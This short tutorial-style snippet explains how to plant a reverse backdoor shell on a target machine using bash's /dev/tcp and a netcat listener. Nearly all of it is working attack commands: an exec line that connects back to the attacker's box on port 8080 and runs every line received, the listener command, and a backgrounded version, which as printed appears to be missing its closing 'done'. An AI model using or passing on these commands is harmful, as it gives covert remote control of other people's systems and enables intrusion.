Reverse Backdoor Command Shell using Netcat

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
